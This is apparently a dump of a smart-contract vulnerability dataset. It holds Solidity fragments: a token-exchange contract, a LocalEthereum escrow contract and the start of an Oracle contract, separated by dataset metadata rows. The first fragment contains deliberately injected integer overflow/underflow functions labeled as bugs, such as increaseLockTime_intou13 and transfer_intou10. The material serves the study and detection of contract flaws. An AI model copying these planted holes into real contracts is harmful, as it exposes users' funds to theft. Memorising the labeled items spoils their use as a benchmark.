// Second array (traderAddresses)
// 0- tokenAddress
// 1- userAddress
uint256 amount__;
uint256 orderiD = tradeDetails[0];
if(Order[orderiD].status==0){ // if status code = 0 - new order, will store order details.
if(tradeDetails[6] == 0){
amount__ = tradeDetails[3];
}
else if(tradeDetails[6] ==1){
amount__ = tradeDetails[1];
}
require(amount__ > 0 && amount__ <= userDetails[traderAddresses[1]][traderAddresses[0]]);
// stores placed order details
Order[orderiD].userAddress = traderAddresses[1];
Order[orderiD].type_ = tradeDetails[6];
Order[orderiD].price = tradeDetails[2];
Order[orderiD].amount = tradeDetails[1];
Order[orderiD].total = tradeDetails[3];
Order[orderiD].tradeTotal = tradeDetails[3];
Order[orderiD]._decimal = tradeDetails[7];
Order[orderiD].tokenAddress = traderAddresses[0];
// freeze trade amount;
userDetails[traderAddresses[1]][traderAddresses[0]]=userDetails[traderAddresses[1]][traderAddresses[0]].sub(amount__);
// store total trade count
Order[orderiD].tradeAmount=tradeDetails[1];
Order[orderiD].status=1;
}
else if(Order[orderiD].status==1 && tradeDetails[8]==0){ //if status code =1 && no pair order, order will be cancelled.
cancelOrder(orderiD);
}
if(Order[orderiD].status==1 && tradeDetails[1] > 0 && tradeDetails[8]>0 && Order[tradeDetails[8]].status==1 && tradeDetails[3]>0){ //order mapping
Order[orderiD].tradeAmount =Order[orderiD].tradeAmount.sub(tradeDetails[1]);
Order[tradeDetails[8]].tradeAmount =Order[tradeDetails[8]].tradeAmount.sub(tradeDetails[1]);
if(tradeDetails[2]>0){
userDetails[Order[orderiD].userAddress][Order[orderiD].tokenAddress]=userDetails[Order[orderiD].userAddress][Order[orderiD].tokenAddress].add(tradeDetails[2]);
}
Order[orderiD].tradeTotal =Order[orderiD].tradeTotal.sub(((tradeDetails[1].mul(Order[orderiD].price)).div(Order[orderiD]._decimal)));
Order[tradeDetails[8]].tradeTotal =Order[tradeDetails[8]].tradeTotal.sub(((tradeDetails[1].mul(Order[tradeDetails[8]].price)).div(Order[tradeDetails[8]]._decimal)));
if(tradeDetails[6] == 1 || tradeDetails[6]==3)
{
userDetails[Order[orderiD].userAddress][Order[tradeDetails[8]].tokenAddress]=userDetails[Order[orderiD].userAddress][Order[tradeDetails[8]].tokenAddress].add(tradeDetails[1]);
userDetails[Order[orderiD].userAddress][traderAddresses[0]]= userDetails[Order[orderiD].userAddress][traderAddresses[0]].sub(tradeDetails[4]);
feeAmount[admin][traderAddresses[0]]= feeAmount[admin][traderAddresses[0]].add(tradeDetails[4]);
}
else
{
userDetails[Order[orderiD].userAddress][Order[tradeDetails[8]].tokenAddress]=userDetails[Order[orderiD].userAddress][Order[tradeDetails[8]].tokenAddress].add(tradeDetails[1].sub(tradeDetails[4]));
feeAmount[admin][Order[tradeDetails[8]].tokenAddress]= feeAmount[admin][Order[tradeDetails[8]].tokenAddress].add(tradeDetails[4]);
}
if(tradeDetails[6] == 2 || tradeDetails[6]==3)
{
userDetails[Order[tradeDetails[8]].userAddress][Order[orderiD].tokenAddress]=userDetails[Order[tradeDetails[8]].userAddress][Order[orderiD].tokenAddress].add(tradeDetails[3]);
userDetails[Order[tradeDetails[8]].userAddress][traderAddresses[0]]= userDetails[Order[tradeDetails[8]].userAddress][traderAddresses[0]].sub(tradeDetails[5]);
feeAmount[admin][traderAddresses[0]]= feeAmount[admin][traderAddresses[0]].add(tradeDetails[5]);
}
else
{
userDetails[Order[tradeDetails[8]].userAddress][Order[orderiD].tokenAddress]=userDetails[Order[tradeDetails[8]].userAddress][Order[orderiD].tokenAddress].add(tradeDetails[3].sub(tradeDetails[5]));
feeAmount[admin][Order[orderiD].tokenAddress]= feeAmount[admin][Order[orderiD].tokenAddress].add(tradeDetails[5]);
}
if(Order[tradeDetails[8]].tradeAmount==0){
Order[tradeDetails[8]].status=2;
}
if(Order[orderiD].tradeAmount==0){
Order[orderiD].status=2;
}
orderPairStatus[orderiD][tradeDetails[8]] = true;
}
return true;
}
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
function cancelOrder(uint256 orderid)internal returns(bool){
if(Order[orderid].status==1){
if(Order[orderid].type_ == 0){
userDetails[ Order[orderid].userAddress][Order[orderid].tokenAddress]=userDetails[ Order[orderid].userAddress][Order[orderid].tokenAddress].add(Order[orderid].tradeTotal);
}
else{
userDetails[ Order[orderid].userAddress][Order[orderid].tokenAddress]=userDetails[ Order[orderid].userAddress][Order[orderid].tokenAddress].add(Order[orderid].tradeAmount);
}
Order[orderid].status=3; // cancelled
}
return true;
}
function bug_intou12(uint8 p_intou12) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou12; // overflow bug //Integer_overflow_and_underflow bug
}
function viewTokenBalance(address tokenAddr,address baladdr)public view returns(uint256){
return Token(tokenAddr).balanceOf(baladdr);
}
function bug_intou11() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function tokenallowance(address tokenAddr,address owner) public view returns(uint256){
return Token(tokenAddr).allowance(owner,address(this));
}
mapping(address => uint) balances_intou10;
function transfer_intou10(address _to, uint _value) public returns (bool) {
require(balances_intou10[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou10[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou10[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
}
| 224,048 | 10,924 |
a25d07390e5c15ee1b9e10c90f781dba0bccc91a4c5f69180b4989361e542147
| 19,608 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x09678741bd50c3e74301f38fbd0136307099ae5d.sol
| 4,701 | 16,093 |
pragma solidity ^0.4.18;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
}
contract LocalEthereumEscrows {
// The address of the arbitrator
// In the first version, this is always localethereum staff.
address public arbitrator;
address public owner;
address public relayer;
uint32 public requestCancellationMinimumTime;
uint256 public feesAvailableForWithdraw;
uint8 constant ACTION_SELLER_CANNOT_CANCEL = 0x01; // Called when marking as paid or calling a dispute as the buyer
uint8 constant ACTION_BUYER_CANCEL = 0x02;
uint8 constant ACTION_SELLER_CANCEL = 0x03;
uint8 constant ACTION_SELLER_REQUEST_CANCEL = 0x04;
uint8 constant ACTION_RELEASE = 0x05;
uint8 constant ACTION_DISPUTE = 0x06;
event Created(bytes32 _tradeHash);
event SellerCancelDisabled(bytes32 _tradeHash);
event SellerRequestedCancel(bytes32 _tradeHash);
event CancelledBySeller(bytes32 _tradeHash);
event CancelledByBuyer(bytes32 _tradeHash);
event Released(bytes32 _tradeHash);
event DisputeResolved(bytes32 _tradeHash);
struct Escrow {
// Set so we know the trade has already been created
bool exists;
// 1 = unlimited cancel time
uint32 sellerCanCancelAfter;
// The total cost of gas spent by relaying parties. This amount will be
// refunded/paid to localethereum.com once the escrow is finished.
uint128 totalGasFeesSpentByRelayer;
}
// Mapping of active trades. Key is a hash of the trade data
mapping (bytes32 => Escrow) public escrows;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyArbitrator() {
require(msg.sender == arbitrator);
_;
}
function getRelayedSender(bytes16 _tradeID, // The unique ID of the trade, generated by localethereum.com
uint8 _actionByte, // The desired action of the user, matching an ACTION_* constant
uint128 _maximumGasPrice, // The maximum gas price the user is willing to pay
uint8 _v, // Signature value
bytes32 _r, // Signature value
bytes32 _s // Signature value) view private returns (address) {
bytes32 _hash = keccak256(_tradeID, _actionByte, _maximumGasPrice);
if(tx.gasprice > _maximumGasPrice) return;
return ecrecover(_hash, _v, _r, _s);
}
function LocalEthereumEscrows() public {
owner = msg.sender;
arbitrator = msg.sender;
relayer = msg.sender;
requestCancellationMinimumTime = 2 hours; // TODO
}
function getEscrowAndHash(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee) view private returns (Escrow, bytes32) {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value, _fee);
return (escrows[_tradeHash], _tradeHash);
}
function createEscrow(bytes16 _tradeID, // The unique ID of the trade, generated by localethereum.com
address _seller, // The selling party of the trade
address _buyer, // The buying party of the trade
uint256 _value, // The ether amount being held in escrow
uint16 _fee, // The localethereum.com fee in 1/10000ths
uint32 _paymentWindowInSeconds, // The time in seconds from contract creation that the buyer has to mark as paid
uint32 _expiry, // Provided by localethereum.com. This transaction must be created before this time.
uint8 _v, // Signature value
bytes32 _r, // Signature value
bytes32 _s // Signature value) payable external {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value, _fee);
require(!escrows[_tradeHash].exists); // Require that trade does not already exist
require(ecrecover(keccak256(_tradeHash, _paymentWindowInSeconds, _expiry), _v, _r, _s) == relayer); // Signature must have come from the relayer
require(block.timestamp < _expiry);
require(msg.value == _value && msg.value > 0); // Check sent eth against signed _value and make sure is not 0
uint32 _sellerCanCancelAfter = _paymentWindowInSeconds == 0 ? 1 : uint32(block.timestamp) + _paymentWindowInSeconds;
escrows[_tradeHash] = Escrow(true, _sellerCanCancelAfter, 0);
Created(_tradeHash);
}
uint16 constant GAS_doRelease = 36100;
function doRelease(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas) private returns (bool) {
var (_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) return false;
uint128 _gasFees = _escrow.totalGasFeesSpentByRelayer + (msg.sender == relayer ? (GAS_doRelease + _additionalGas) * uint128(tx.gasprice) : 0);
delete escrows[_tradeHash];
Released(_tradeHash);
transferMinusFees(_buyer, _value, _gasFees, _fee);
return true;
}
uint16 constant GAS_doDisableSellerCancel = 12100;
function doDisableSellerCancel(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas) private returns (bool) {
var (_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) return false;
if(_escrow.sellerCanCancelAfter == 0) return false;
escrows[_tradeHash].sellerCanCancelAfter = 0;
SellerCancelDisabled(_tradeHash);
if (msg.sender == relayer) {
increaseGasSpent(_tradeHash, GAS_doDisableSellerCancel + _additionalGas);
}
return true;
}
uint16 constant GAS_doBuyerCancel = 36100;
function doBuyerCancel(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas) private returns (bool) {
var (_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) return false;
uint128 _gasFees = _escrow.totalGasFeesSpentByRelayer + (msg.sender == relayer ? (GAS_doBuyerCancel + _additionalGas) * uint128(tx.gasprice) : 0);
delete escrows[_tradeHash];
CancelledByBuyer(_tradeHash);
transferMinusFees(_seller, _value, _gasFees, 0);
return true;
}
uint16 constant GAS_doSellerCancel = 36100;
function doSellerCancel(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas) private returns (bool) {
var (_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) return false;
if(_escrow.sellerCanCancelAfter <= 1 || _escrow.sellerCanCancelAfter > block.timestamp) return false;
uint128 _gasFees = _escrow.totalGasFeesSpentByRelayer + (msg.sender == relayer ? (GAS_doSellerCancel + _additionalGas) * uint128(tx.gasprice) : 0);
delete escrows[_tradeHash];
CancelledBySeller(_tradeHash);
transferMinusFees(_seller, _value, _gasFees, 0);
return true;
}
uint16 constant GAS_doSellerRequestCancel = 12100;
function doSellerRequestCancel(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas) private returns (bool) {
// Called on unlimited payment window trades wheret the buyer is not responding
var (_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) return false;
if(_escrow.sellerCanCancelAfter != 1) return false;
escrows[_tradeHash].sellerCanCancelAfter = uint32(block.timestamp) + requestCancellationMinimumTime;
SellerRequestedCancel(_tradeHash);
if (msg.sender == relayer) {
increaseGasSpent(_tradeHash, GAS_doSellerRequestCancel + _additionalGas);
}
return true;
}
uint16 constant GAS_doResolveDispute = 36100;
function resolveDispute(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _buyerPercent) external onlyArbitrator {
address _signature = ecrecover(keccak256(_tradeID, ACTION_DISPUTE), _v, _r, _s);
require(_signature == _buyer || _signature == _seller);
var (_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
require(_escrow.exists);
require(_buyerPercent <= 100);
uint256 _totalFees = _escrow.totalGasFeesSpentByRelayer + GAS_doResolveDispute;
require(_value - _totalFees <= _value); // Prevent underflow
feesAvailableForWithdraw += _totalFees; // Add the the pot for localethereum to withdraw
delete escrows[_tradeHash];
DisputeResolved(_tradeHash);
_buyer.transfer((_value - _totalFees) * _buyerPercent / 100);
_seller.transfer((_value - _totalFees) * (100 - _buyerPercent) / 100);
}
function release(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee) external returns (bool){
require(msg.sender == _seller);
return doRelease(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function disableSellerCancel(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee) external returns (bool) {
require(msg.sender == _buyer);
return doDisableSellerCancel(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function buyerCancel(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee) external returns (bool) {
require(msg.sender == _buyer);
return doBuyerCancel(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function sellerCancel(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee) external returns (bool) {
require(msg.sender == _seller);
return doSellerCancel(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function sellerRequestCancel(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee) external returns (bool) {
require(msg.sender == _seller);
return doSellerRequestCancel(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function relaySellerCannotCancel(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee, uint128 _maximumGasPrice, uint8 _v, bytes32 _r, bytes32 _s) external returns (bool) {
return relay(_tradeID, _seller, _buyer, _value, _fee, _maximumGasPrice, _v, _r, _s, ACTION_SELLER_CANNOT_CANCEL, 0);
}
function relayBuyerCancel(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee, uint128 _maximumGasPrice, uint8 _v, bytes32 _r, bytes32 _s) external returns (bool) {
return relay(_tradeID, _seller, _buyer, _value, _fee, _maximumGasPrice, _v, _r, _s, ACTION_BUYER_CANCEL, 0);
}
function relayRelease(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee, uint128 _maximumGasPrice, uint8 _v, bytes32 _r, bytes32 _s) external returns (bool) {
return relay(_tradeID, _seller, _buyer, _value, _fee, _maximumGasPrice, _v, _r, _s, ACTION_RELEASE, 0);
}
function relaySellerCancel(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee, uint128 _maximumGasPrice, uint8 _v, bytes32 _r, bytes32 _s) external returns (bool) {
return relay(_tradeID, _seller, _buyer, _value, _fee, _maximumGasPrice, _v, _r, _s, ACTION_SELLER_CANCEL, 0);
}
function relaySellerRequestCancel(bytes16 _tradeID, address _seller, address _buyer, uint256 _value, uint16 _fee, uint128 _maximumGasPrice, uint8 _v, bytes32 _r, bytes32 _s) external returns (bool) {
return relay(_tradeID, _seller, _buyer, _value, _fee, _maximumGasPrice, _v, _r, _s, ACTION_SELLER_REQUEST_CANCEL, 0);
}
function relay(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _maximumGasPrice,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _actionByte,
uint128 _additionalGas) private returns (bool) {
address _relayedSender = getRelayedSender(_tradeID, _actionByte, _maximumGasPrice, _v, _r, _s);
if (_relayedSender == _buyer) {
if (_actionByte == ACTION_SELLER_CANNOT_CANCEL) {
return doDisableSellerCancel(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
} else if (_actionByte == ACTION_BUYER_CANCEL) {
return doBuyerCancel(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
}
} else if (_relayedSender == _seller) {
if (_actionByte == ACTION_RELEASE) {
return doRelease(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
} else if (_actionByte == ACTION_SELLER_CANCEL) {
return doSellerCancel(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
} else if (_actionByte == ACTION_SELLER_REQUEST_CANCEL){
return doSellerRequestCancel(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
}
} else {
return false;
}
}
uint16 constant GAS_batchRelayBaseCost = 28500;
function batchRelay(bytes16[] _tradeID,
address[] _seller,
address[] _buyer,
uint256[] _value,
uint16[] _fee,
uint128[] _maximumGasPrice,
uint8[] _v,
bytes32[] _r,
bytes32[] _s,
uint8[] _actionByte) public returns (bool[]) {
bool[] memory _results = new bool[](_tradeID.length);
uint128 _additionalGas = uint128(msg.sender == relayer ? GAS_batchRelayBaseCost / _tradeID.length : 0);
for (uint8 i=0; i<_tradeID.length; i++) {
_results[i] = relay(_tradeID[i], _seller[i], _buyer[i], _value[i], _fee[i], _maximumGasPrice[i], _v[i], _r[i], _s[i], _actionByte[i], _additionalGas);
}
return _results;
}
function increaseGasSpent(bytes32 _tradeHash, uint128 _gas) private {
escrows[_tradeHash].totalGasFeesSpentByRelayer += _gas * uint128(tx.gasprice);
}
function transferMinusFees(address _to, uint256 _value, uint128 _totalGasFeesSpentByRelayer, uint16 _fee) private {
uint256 _totalFees = (_value * _fee / 10000) + _totalGasFeesSpentByRelayer;
if(_value - _totalFees > _value) return; // Prevent underflow
feesAvailableForWithdraw += _totalFees; // Add the the pot for localethereum to withdraw
_to.transfer(_value - _totalFees);
}
function withdrawFees(address _to, uint256 _amount) onlyOwner external {
require(_amount <= feesAvailableForWithdraw); // Also prevents underflow
feesAvailableForWithdraw -= _amount;
_to.transfer(_amount);
}
function setArbitrator(address _newArbitrator) onlyOwner external {
arbitrator = _newArbitrator;
}
function setOwner(address _newOwner) onlyOwner external {
owner = _newOwner;
}
function setRelayer(address _newRelayer) onlyOwner external {
relayer = _newRelayer;
}
function setRequestCancellationMinimumTime(uint32 _newRequestCancellationMinimumTime) onlyOwner external {
requestCancellationMinimumTime = _newRequestCancellationMinimumTime;
}
function transferToken(Token _tokenContract, address _transferTo, uint256 _value) onlyOwner external {
_tokenContract.transfer(_transferTo, _value);
}
function transferTokenFrom(Token _tokenContract, address _transferTo, address _transferFrom, uint256 _value) onlyOwner external {
_tokenContract.transferFrom(_transferTo, _transferFrom, _value);
}
function approveToken(Token _tokenContract, address _spender, uint256 _value) onlyOwner external {
_tokenContract.approve(_spender, _value);
}
}
| 210,696 | 10,925 |
679e7076a361e5cdc665480b79b692f08197075accb8849aae115d4340805782
| 23,408 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/61/61CFAD31fe3F79b616d88F1f3e429E1bCA2D4601_Oracle.sol
| 4,720 | 16,706 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
